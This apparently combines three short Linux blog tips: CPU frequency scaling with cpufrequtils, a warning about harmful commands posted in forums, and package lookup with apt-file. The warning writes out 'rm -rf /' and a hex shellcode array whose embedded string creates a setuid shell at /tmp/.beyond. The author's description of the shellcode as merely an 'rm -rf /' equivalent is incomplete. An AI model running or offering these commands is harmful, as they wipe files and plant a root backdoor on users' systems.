If you are control freak, perhaps you might want to take control of your CPU depending on your need. Firstly, you should be able to check what is the current speed of your CPU. Here is the command.

cat /proc/cpuinfo | grep -i Mhz

You will see your CPU speed in Mhz. To take control of your CPU speed, you need to install cpufreq utility.

sudo apt-get install cpufrequtils

There are four modes come with the utility. They are as follow:

• ondemand

CPU frequency is scaled based on load.

• conservative

The CPUfreq governor "conservative", much like the "ondemand" governor, sets the CPU depending on the current usage. It differs in behaviour in that it gracefully increases and decreases the CPU speed rather than jumping to max speed the moment there is any load on the CPU. This behaviour more suitable in a battery powered environment.

• performance

CPU only runs at max frequency regardless of load.

• powersave

CPU only runs at min frequency regardless of load.

Depending on your need, you can set cpu freq as you desire. For example: to change to ondemand mode, type this command

cpufreq-set -g ondemand

In case if you have more than one CPU, you need to repeat the command with option c. You can check how many CPU you have by typing

ls /sys/devices/system/cpu/

To set the cpufreq for second cpu, you need to use option c as follow:

cpufreq-set -c 1 -g ondemand

I hope this will be helpful. Any question? Leave a comment as usual.

Source : Ubuntuguide

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.

For those of you who don’t know what is rpm -qf <filename>, this command is very useful if you used rpm package management system. It will tell you which package manage that file.

Many people are not aware of the Debian alternative for rpm -qf. First you need  to install apt-file by using the following command.

• -sudo apt-get install apt-file

Now you can search the package of the file by using:

• sudo apt-file search –fixed-string $<filename>

That’s it! I hope this will help you in your troubleshooting, debugging, resolving version conflicts, etc…